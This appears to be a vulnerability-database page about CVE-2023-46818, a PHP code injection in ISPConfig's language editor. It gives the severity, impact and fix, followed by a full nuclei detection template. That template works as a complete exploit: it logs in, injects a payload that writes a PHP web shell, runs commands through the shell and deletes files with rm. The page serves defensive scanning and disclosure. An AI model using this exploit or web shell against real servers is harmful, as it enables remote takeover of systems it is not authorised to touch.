HexBrain

Browse / CVEs / CVE-2023-46818

CVE-2023-46818· ispconfig· CWE-94

ISPConfig - PHP Code Injection

highseverity
7.2CVSS score
19.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.

Impact

Authenticated administrators can inject and execute arbitrary PHP code, potentially gaining complete server control.

Fix

Upgrade ISPConfig to version 3.2.11p1 or later, and ensure admin_allow_langedit is disabled unless absolutely necessary.

How to confirm it

Send: POST /login/index.php
Positive when: contains(header, "Set-Cookie") and status_code == 302
Send: POST /admin/language_edit.php
Positive when: contains_all(response, "_csrf_id", "_csrf_key") and status_code == 200
Send: POST /admin/language_edit.php
Positive when: status_code == 200
Send: GET /admin/{{websh-file}}
Positive when: status 200 AND contains "{{echo-cmd-hash}}"
Send: GET /admin/{{websh-file}}
Positive when: status 200
Send: GET /admin/{{websh-file}}
Positive when: status 200

Run it with nuclei: nuclei -id CVE-2023-46818 -u <target>

The full check
id: CVE-2023-46818

info:
  name: ISPConfig - PHP Code Injection
  author: non-things
  severity: high
  description: |
    An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
  impact: |
    Authenticated administrators can inject and execute arbitrary PHP code, potentially gaining complete server control.
  remediation: |
    Upgrade ISPConfig to version 3.2.11p1 or later, and ensure admin_allow_langedit is disabled unless absolutely necessary.
  reference:
    - https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
    - http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
    - http://seclists.org/fulldisclosure/2023/Dec/2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46818
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-46818
    cwe-id: CWE-94
    epss-score: 0.19227
    epss-percentile: 0.97354
  metadata:
    verified: true
    max-request: 1
    product: ispconfig
  tags: cve,cve2023,ispconfig,php,rce,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

variables:
  lang-file: "{{rand_text_alpha(26)}}.lng"
  websh-file: "{{rand_text_alphanumeric(32)}}.php"
  websh: "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
  websh-base64: "{{base64(websh)}}"
  payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
  payload-url-enc: "{{url_encode(payload)}}"
  echo-cmd-hash: "{{rand_text_alphanumeric(32)}}"
  echo-cmd: "echo {{echo-cmd-hash}}"

http:
  - raw:
      - |
        POST /login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&s_mod=login

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Set-Cookie")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin/language_edit.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        lang=en&module=help&lang_file={{lang-file}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(response, "_csrf_id", "_csrf_key")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lang_file_location
        group: 1
        regex:
          - "<legend>Language file: (.*)</legend>"
        internal: true

      - type: regex
        name: csrf_id
        group: 1
        regex:
          - "_csrf_id\" value=\"(.*)\" />"
        internal: true

      - type: regex
        name: csrf_key
        group: 1
        regex:
          - "_csrf_key\" value=\"(.*)\" />"
        internal: true

  - raw:
      - |
        POST /admin/language_edit.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload-url-enc}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64(echo-cmd)}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "{{echo-cmd-hash}}"

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64('rm ' + lang_file_location)}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64('rm ' + websh-file)}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from